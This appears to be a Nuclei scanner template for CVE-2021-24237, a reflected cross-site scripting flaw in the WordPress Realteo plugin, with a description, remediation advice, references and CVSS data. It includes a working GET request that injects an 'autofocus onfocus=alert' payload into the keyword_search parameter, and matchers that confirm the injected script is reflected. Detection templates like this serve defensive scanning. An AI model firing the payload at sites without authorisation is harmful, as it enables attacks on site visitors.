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WordPress Realteo <=1.2.3 - Cross-Site Scripting

ID: CVE-2021-24237

Severity: medium

Author: 0x_Akoko

Tags: cve2021,cve,realteo,xss,wordpress,plugin,wpscan,intrusive,purethemes

WordPress Realteo plugin 1.2.3 and prior contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page.

id: CVE-2021-24237
info:
name: WordPress Realteo <=1.2.3 - Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: WordPress Realteo plugin 1.2.3 and prior contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update to the latest version of the WordPress Realteo plugin (>=1.2.4) which includes a fix for the Cross-Site Scripting vulnerability.
reference:
- https://wpscan.com/vulnerability/087b27c4-289e-410f-af74-828a608a4e1e
- https://m0ze.ru/vulnerability/[2021-03-20]-[WordPress]-[CWE-79]-Realteo-WordPress-Plugin-v1.2.3.txt
- https://nvd.nist.gov/vuln/detail/CVE-2021-24237
- https://m0ze.ru/vulnerability/[2021-03-20]-[WordPress]-[CWE-79]-Findeo-WordPress-Theme-v1.3.0.txt
- https://www.docs.purethemes.net/findeo/knowledge-base/changelog-findeo/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24237
cwe-id: CWE-79
epss-score: 0.00265
epss-percentile: 0.66138
cpe: cpe:2.3:a:purethemes:findeo:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: purethemes
product: findeo
framework: wordpress
tags: cve2021,cve,realteo,xss,wordpress,plugin,wpscan,intrusive,purethemes
http:
- method: GET
path:
- "{{BaseURL}}/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/{{randstr}}/)%3B%2F%2F"
matchers-condition: and
matchers:
- type: word
part: body
words:
- autofocus onfocus=alert(/{{randstr}}/);//
- Nothing found
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022059523bdc2bb3c4be2057d6ca5ad66a9af2eb8bf3417e83202995d721e828e85a022100bb154d53ec54186afac00639d1a2ad7e4cc9027887885d3e5e016451dc0b7fde:922c64590222798bb761d5b6d8e72950

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